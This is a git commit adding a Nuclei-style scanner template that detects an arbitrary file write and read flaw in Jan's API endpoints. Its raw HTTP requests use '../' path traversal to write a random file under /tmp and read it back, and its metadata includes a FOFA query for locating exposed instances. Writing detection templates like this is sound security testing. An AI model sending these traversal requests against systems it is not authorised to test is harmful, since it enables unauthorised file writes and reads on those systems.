Create jan-api-lfi.yaml
parent
a4d812c689
commit
7e7bae6ba9
|
@ -0,0 +1,50 @@
|
||||||
|
id: jan-api-lfi
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Jan's API interface writeFileSync & appendFileSync - Arbitrary File Upload
|
||||||
|
author: pussycat0x
|
||||||
|
severity: high
|
||||||
|
description: |
|
||||||
|
Jan's API interface writeFileSync and appendFileSync does not filter parameters, resulting in an arbitrary file upload vulnerability.
|
||||||
|
reference:
|
||||||
|
- https://github.com/wy876/POC/blob/main/Jan%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
|
||||||
|
- https://github.com/HackAllSec/CVEs/blob/81e63ae5caae40be47905adae601e0c2f480190b/Jan%20Arbitrary%20File%20Upload%20vulnerability/README.md
|
||||||
|
metadata:
|
||||||
|
fofa-query: icon_hash="-165268926"
|
||||||
|
max-request: 2
|
||||||
|
tags: jan,lfi
|
||||||
|
variables:
|
||||||
|
|
||||||
|
http:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /v1/app/appendFileSync HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Referer: {{RootURL}}
|
||||||
|
contentType: application/json
|
||||||
|
Origin: {{RootURL}}
|
||||||
|
|
||||||
|
["/../../../../../tmp/{{randstr}}.txt","{{randstr}}"]
|
||||||
|
- |
|
||||||
|
POST /v1/app/readFileSync HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Referer: {{RootURL}}
|
||||||
|
contentType: application/json
|
||||||
|
Content-Type: text/plain;charset=UTF-8
|
||||||
|
Origin: {{RootURL}}
|
||||||
|
|
||||||
|
["file:/../../../../../tmp/{{randstr}}.txt","utf-8"]
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body_2
|
||||||
|
words:
|
||||||
|
- '{{randstr}}'
|
||||||
|
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
Loading…
Reference in New Issue